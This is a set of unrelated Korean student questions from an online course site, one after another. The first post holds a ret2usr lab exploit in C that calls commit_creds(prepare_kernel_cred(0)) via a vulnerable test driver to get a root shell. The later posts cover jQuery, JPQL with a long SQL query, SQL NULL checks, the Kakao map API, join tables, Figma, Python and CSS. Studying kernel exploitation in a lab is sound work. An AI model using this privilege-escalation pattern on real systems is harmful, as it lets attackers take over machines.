안녕하세요. ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다. /* gcc -masm=intel -static -o test_exp test_exp.c -no-pie */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } int main() { int fd; void *ptr = 0; commit_creds = 0xffffffff8108e9f0; prepare_kernel_cred = 0xffffffff8108ec20; fd = open("/dev/test", O_RDWR); ptr = &payload; printf("Shell executing...\n"); write(fd, &ptr, sizeof(ptr)); close(fd); printf("Shell executed?\n"); return 0; } payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니, 위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다. 결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요. 그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.
`${}` 이렇게 쓰는 것을 배운적이 잇는데 해당 부분에서는 ``부분이 없고 ${} 이 아이만 써주었던데.. 왜 그런건지 혹시 알 수 있을까요? function 앞에 $이거를 왜 써준 것인지도 궁금해요..ㅠㅠ 혹시 jquery 개념도 알아야하나요? html,css, javascript로만해서 따라갈 수 있을 줄 알았는데 너무 어렵네요..하 어려워서 자바스크립트 배우고 이제 들어보려 했더니 코드가 튕겨 나가버리네요. 제이쿼리를 다시 배우고 와야하는건가..
현재 2년차가 되가고 있는 주니어개발자입니다 ( _ _) 아직 경험이 많이 없어 현재 쿼리를 처리하는 퍼시스턴트 프레임워크를 mybaits 정도 밖에 써보지 못 했습니다 선생님께서 말씀하신 것처럼 쿼리를 JPQL로 작성해서 처리할 수 있다고 하셨는데... 아래는 제가 mybatis로 api 처리하고 있는 쿼리입니다. 이런 다소 지저분하고 복잡한 쿼리도 실무에서는 JPQL로 처리를 하나요??? SELECT /* windowClosingPosData */ b.paymentType , MAX (b.gdName) as gdName ,b.payMethod , SUM (b.personCnt) as personCnt /* 수량 */ , SUM (b.price) as price /* 금액 */ , SUM (b.discountCount) as discountCnt /* 할인매수 */ , SUM (b.discountAmount) as discount /* 할인금액 */ FROM ( SELECT a.paymentType ,a.gdName ,a.payMethod ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketCount WHEN a.paymentType = 'CANCEL' THEN a.refundCount ELSE 0 END ) as personCnt /* 수량 */ ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketAmount WHEN a.paymentType = 'CANCEL' THEN a.refundAmount ELSE 0 END ) as price /* 금액 */ ,a.discountCount /* 할인 수량 */ ,a.discountAmount /* 할인 금액 */ FROM ( SELECT 'PAY' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,rd.init_rs_ticket_cnt as ticketCount /* 발권매수 */ ,(rd.init_rs_ticket_cnt * rd_price) as ticketAmount /* 발권금액 */ ,0 as refundCount /* 환불매수 */ ,0 as refundAmount /* 환불금액 */ ,( CASE WHEN ifnull(rd.dc_unit_price,0) > 0 THEN rd.init_rs_ticket_cnt ELSE 0 END ) as discountCount /* 할인매수 */ ,(rd.init_rs_ticket_cnt * rd.dc_unit_price) as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.tkt_win_cd = #{winCd} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.insert_idkey = #{memberSeq} UNION ALL SELECT 'CANCEL' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,0 as ticketCount /* 발권매수 */ ,0 as ticketAmount /* 발권금액 */ ,rd.cancel_ticket_cnt as refundCount /* 환불매수 */ ,(rd.cancel_ticket_cnt * rd_price) as refundAmount /* 환불금액 */ ,0 as discountCount /* 할인매수 */ ,0 as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.cancel_win_cd = #{winCd} AND trdp.cancel_member_seq = #{memberSeq} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.rs_status = 'D' ) a ) b GROUP BY b.paymentType ,b.payMethod ORDER BY b.payMethod, b.paymentType DESC JPQL 강의도 들을 계획이지만 이렇게 복잡한 부분을 java단에서 처리한다는게 상상이 되지 않아서 질문드려봅니다 ㅠㅠ
여러개 열에 널값이 있는 경우에 AND나 OR을 이용해서 널값을 찾을 수 있나요? 예를 들면, NAME과 CITY 모두 널값인 경우나, 아니면 NAME 또는 CITY가 널값인 경우를 모두 찾고 싶을 때요! WHERE NAME IS NULL AND(또는 OR) CITY IS NULL; 이렇게 하면 되나요??
강의와 관련있는 질문 을 남겨주세요. • 강의와 관련이 없는 질문은 지식공유자가 답변하지 않을 수 있습니다. (사적 상담, 컨설팅, 과제 풀이 등) • 질문을 남기기 전, 비슷한 내용을 질문한 수강생이 있는지 먼저 검색 을 해주세요. (중복 질문을 자제해주세요.) • 서비스 운영 관련 질문은 인프런 우측 하단 ‘문의하기’ 를 이용해주세요. (영상 재생 문제, 사이트 버그, 강의 환불 등) 질문 전달 에도 요령이 필요합니다. • 지식공유자가 질문을 좀 더 쉽게 확인할 수 있게 도와주세요. • 강의실 페이지 (/lecture) 에서 '질문하기'를 이용해주시면 질문과 연관된 수업 영상 제목이 함께 등록됩니다. • 강의 대시보드에서 질문을 남길 경우, 관련 섹션 및 수업 제목을 기재 해주세요. • 수업 특정 구간에 대한 질문은 꼭 영상 타임코드 를 남겨주세요! 구체적인 질문 일수록 명확한 답을 받을 수 있어요. • 질문 제목은 핵심 키워드를 포함해 간결하게 적어주세요. • 질문 내용은 자세하게 적어주시되, 지식공유자가 답변할 수 있도록 구체적으로 남겨주세요 . • 정확한 질문 내용과 함께 코드 를 적어주시거나, 캡쳐 이미지 를 첨부하면 더욱 좋습니다. 기본적인 예의 를 지켜주세요. • 정중한 의견 및 문의 제시, 감사 인사 등의 커뮤니케이션은 더 나은 강의를 위한 기틀이 됩니다. • 질문이 있을 때에는 강의를 만든 지식공유자에 대한 기본적인 예의를 꼭 지켜주세요. • 반말, 욕설, 과격한 표현 등 지식공유자를 불쾌하게 할 수 있는 내용 은 스팸 처리 등 제재를 가할 수 있습니다. 안녕하세요^^ 강의 잘 듣고 따라하고 있습니다. 현재 막히는 부분이 있어서 문의드려요~ "카카오api 발급 및 적용 강의"를 듣고 적용해보니 upload페이지에서 지도가 안나오네요 ㅠㅠ 카카오 api와 vsc부분을 캡쳐를 해서 드리겠습니다. 틀린 부분이 있으면 알려주세요 ^^
안녕하세요! 제가 궁금한 것은 PostHashTag 조인 테이블 이외에 Post와 HashTag사이에 조인테이블을 추가로 만들 경우, 각 조인테이블을 어떻게 구분해서 add나 set, get 메소드를 사용해서 테이블을 다루는지 궁금합니다. 예를 들어, Post와 Hashtag테이블 사이에 PostHashTag2라는 조인 테이블을 추가로 생성했다고 하면, post에 hashtag를 추가하는 경우, PostHashTag2 테이블에 데이터를 넣고 싶다고 한다면, post.addPostHashTag2(values..) 이렇게 해야 할까요? 여러가지 시도를 해봤는데, 구분해서 들어가지가 않아서요..
종합 실전예제3. 이커머스 앱 UI 디자인- 오픈소스 템플릿을 활용한 UI 디자인 기초작업 강의에서 질문드립니다. 강의에서 제공해주신 링크로 들어가서 IOS UI kit에서 탭바와 상태바를 복사해왔습니다. 탭바의 경우 강의에서 본 것과 달리 배경색이 분홍색으로 보였습니다. 그런데 프로토타입을 실행시켜보니 탭바의 분홍색이 보이지 않았습니다. 이 분홍색이 무엇을 의미하는지가 궁금합니다.
안녕하세요. def nested_func(num): def func_in_func(num): print(num) print("In func") func_in_func(num + 100) nested_func(100) 수업 예제 코드에서 print(num)이 있는데, num은 문자라서 print가 안 되긴 하는 것 같은데, 저 코드가 꼭 들어가야 하는 이유가 무엇인가요? 코드 논리 흐름이 좀.. 잘 이해가 안 되네요.. 논리 흐름좀 짚어서 설명해주시면 감사하겠습니다!
Q1. 3:47초에 보면 .parent의 보더가 왼쪽은 괜찮은데, 옆과 아래쪽에는 1px정도? 세밀하게 조금 흰색이 보이는데 이것은 왜그런건가요..? 100%일땐 꽉 안차다가 확대하니까 또 차고... 그냥 브라우저문제인가요? 그리고, 또하나 질문은 다음꺼 27:06 의 가로배치할때는 , section처럼 block요소는 width: 100%로 기본적으로 차잖아요. 그런데 선생님께서 600px로 준건, 단순히 예제라서 보기 쉽게 하기 위함이 아니라, 100%일 경우 3등분 하면 딱 떨어지는 값이 아니라서 그렇게 하신건지 궁금합니다. 제가 영상 보기 전에 혼자 연습하고 확인차 보는데, section이 디폴트인 width:100%임를 감안해서, section에다가 width값을 따로 지정을 안하고 만들었는데, 33.3333%로 나누니까, 들어가는것 같긴 한데 .. Q2. 아래의 예제section요소안에 article을 사방에 흰색 테두리는 마진값을 줘서 article과 section 을 띄우는건가요 아니면 article에 보더를 흰색으로 주는건가요?